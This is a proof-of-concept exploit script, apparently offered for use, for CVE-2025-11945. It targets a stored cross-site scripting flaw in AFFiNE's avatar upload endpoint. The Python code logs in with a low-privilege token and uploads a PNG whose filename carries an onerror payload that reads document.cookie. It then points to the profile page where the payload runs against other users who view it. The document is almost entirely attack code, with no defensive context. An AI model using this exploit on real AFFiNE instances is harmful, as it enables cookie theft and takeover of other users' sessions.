CVE-2025-11945：AFFiNE头像上传端点跨站脚本漏洞

# CVE-2025-11945 PoC - AFFiNE Avatar Upload XSS # Vulnerability: Stored/Reflected XSS via Avatar Upload Image Endpoint # Affected: AFFiNE <= 0.24.1 import requests # Target configuration TARGET_URL = "https://target-affine-instance.com" AUTH_TOKEN = "your_auth_token_here" # Low privilege account token # Malicious payload embedded in image filename # The payload will be executed when the avatar is rendered MALICIOUS_FILENAME = "<img src=x onerror=alert(document.cookie)>.png" # Create a minimal valid PNG file with malicious filename def create_malicious_avatar(): # Minimal 1x1 PNG file bytes png_data = bytes.fromhex( "89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c4" "890000000d49444154789c6300010000000500010d0a2db40000000049454e44ae" "426082" ) return png_data def exploit(): session = requests.Session() session.headers.update({ "Authorization": f"Bearer {AUTH_TOKEN}", "User-Agent": "Mozilla/5.0" }) # Step 1: Upload malicious avatar upload_url = f"{TARGET_URL}/api/avatar/upload" files = { "file": (MALICIOUS_FILENAME, create_malicious_avatar(), "image/png") } response = session.post(upload_url, files=files) print(f"Upload response status: {response.status_code}") # Step 2: Trigger XSS by viewing the profile with malicious avatar # When another user views the attacker's profile, the payload executes profile_url = f"{TARGET_URL}/profile/attacker" print(f"Payload will trigger when victim visits: {profile_url}") if __name__ == "__main__": exploit()